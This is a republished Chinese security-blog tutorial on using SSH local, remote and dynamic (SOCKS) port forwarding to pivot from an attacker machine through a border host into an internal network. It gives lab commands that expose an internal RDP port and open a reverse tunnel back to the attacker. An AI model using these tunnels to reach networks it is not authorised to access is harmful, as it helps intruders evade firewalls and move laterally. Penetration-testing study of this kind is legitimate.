关于内网中SSH协议的隧道利用方式

 

声明由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章...

声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
No.1
简介
内网中大部分linux服务器与网络设备都支持ssh协议,而且大部分ssh协议是能够通过防火墙与边界设备,所以攻击者无法利用其他协议转发代理内网流量时,可以考虑尝试使用ssh协议。这里主要以常见的本地转发、远程转发、动态转发为案例
No.2
相关概念
本地转发

ssh进程的本地端口映射可以将本地的某个端口转发到远端指定机器的指定端口,将在本地监听一个端口,所有的访问端口数据都会通过SSH隧道传输到远端对应端口远程转发

在远程主机上监听一个端口,所有远程主机指定的数据都会通过ssh隧道传输到本地主机的对应端口

可以发现本地转发与远程转发有些类似,除了端口转发时的不同,实际的应用场景也各不相同
本地转发--攻击机可访问内网边界,内网边界可访问内网服务,但攻击机无法直接访问内网服务,攻击者以本地端口以内网边界的身份访问内网服务
远程转发--攻击机无法访问内网边界及服务,但内网边界可访问攻击机,攻击机访问内网服务时就会通过攻击机与内网边界建立的ssh隧道以内网边界的名义进行访问动态转发

本地和远程端口转发都限定了目标服务器以及目标服务器的端口,而动态端口转发,攻击机把内网边界作为自己的代理,不限定目标服务器及其端口。攻击机和内网边界之间的所有连接都是基于加密的ssh常见ssh命令如下

ssh root@192.168.3.131
参数说明:
-C:压缩传输,提高传输速度
-f:将ssh传输转入后台执行,不占用当前的Shell
-N:建立静默连接(建立了连接,但是看不到具体会话)
-g:允许远程主机连接本地用于转发的端口
-L:本地端口转发
-R:远程端口转发
-D:动态转发(socks代理)
-P:指定ssh端口
No.3
本地转发


攻击机:192.168.3.131
内网边界:192.168.3.134 10.10.10.130
内网web:10.10.10.128
攻击机:
目标边界,能够访问内网web:


内网web,这里以phymyadmin为演示:



假设我们需要从外网攻击机获取内网资源,如连接3389端口
以内网边界为跳板,将内网web的3389端口,转发到攻击机的13389端口,然后访问攻击机的13389端口
攻击机如下执行:
ssh -CfNg -L 13389:10.10.10.128:3389 root@192.168.3.134
13389(攻击机端口) 10.10.10.128(目标主机)3389(目标端口) 192.168.3.134(边界跳板)

查看13389端口是否连接:
访问攻击机的13389端口即可接入内网web服务器的3389端口:
当连接192.168.3.131的13389端口时,通过ssh协议与边界跳板192.168.3.134连接,然后10.10.10.130发送相应流量连接至内网10.10.10.128
攻击机 随机端口与边界跳板相连接
边界跳板 内网随机端口与内网web3389连接
内网web 3389端口与边界跳板连接
No.4
远程转发


攻击机:192.168.3.131
内网边界:10.10.10.131
内网web:10.10.10.128
这里注意,攻击机不能访问内网机器,内网边界可访问外网攻击机(可以从内网边界ssh到攻击机上),但内网web服务器不能访问攻击机
以内网边界为跳板,将192.168.3.131的33389端口流量转发到内网web的3389端口,访问33389端口就可以访问内网web的3389的远程桌面
内网边界执行如下命令:
ssh -CfNg -R 33389:10.10.10.128:3389 root@192.168.3.131
33389(攻击机端口) 10.10.10.128(目标主机) 3389(目标端口) 192.168.3.131(攻击机IP)
攻击机内如下接入:
rdesktop 127.0.0.1:33389
攻击机 22端口与内网边界相连接,内网出来的流量均会议22端口进行传输
内网边界 内网边界是可以访问攻击机的,此时边界随机端口将会连接攻击机的22端口
内网web 与边界随机端口建立连接
No.5
动态转发


攻击机:192.168.3.131
内网边界:192.168.3.134 10.10.10.131
内网web:10.10.10.128
在攻击机上执行如下,创建socks代理,需要内网边界的密码:
ssh -CfNg -D 60011 root@192.168.3.134
60011(socks代理的端口,后期以攻击机的ip与该60011端口接入内网即可)
浏览器配置代理,接入内网web资源(此次非内网边界):
同样可以以此代理地址将其他工具接入内网,进一步内网渗透,在此不再赘述

注:本文由E安全编译报道,转载请注原文地址

https://www.easyaq.com

推荐阅读:

  • 警惕Emotet僵尸网络强势回归!消失数月之后再添新变种
  • 英国NCSC:俄罗斯国家黑客APT29攻击COVID-19疫苗研究 试图窃取研究成果
  • 执行方式免杀之调用 API(FUD101连载二)
  • 所有iPhone设备都可能被解锁!黑客发布新款越狱软件“Unc0ver”
  • 征集 | 2020世界信息安全大会议题征集全面开启!


▼点击“阅读原文” 查看更多精彩内容


喜欢记得打赏小E哦!


    关注 E安全


微信扫一扫关注公众号

0 个评论

要回复文章请先登录注册